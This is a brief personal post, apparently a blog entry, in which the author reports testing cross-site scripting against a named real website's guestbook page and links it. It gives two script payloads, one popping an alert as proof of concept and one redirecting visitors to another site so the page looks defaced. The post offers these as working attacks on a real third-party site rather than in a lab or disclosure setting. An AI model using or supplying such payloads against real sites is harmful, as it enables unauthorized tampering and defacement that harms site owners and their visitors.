Ah so boring.. to teach microsoft powerpoint..
Trying to do a POC on XSS. Just popping a simple alert dialog box.
[script]alert('POC of XSS by ghimau')[/script]

Click here : http://www.danceinterrupted.com/guestbook.asp

Do redirect to another page, making it looks like been defaced, use this script.
[script]window.location = "http://www.google.com"[/script]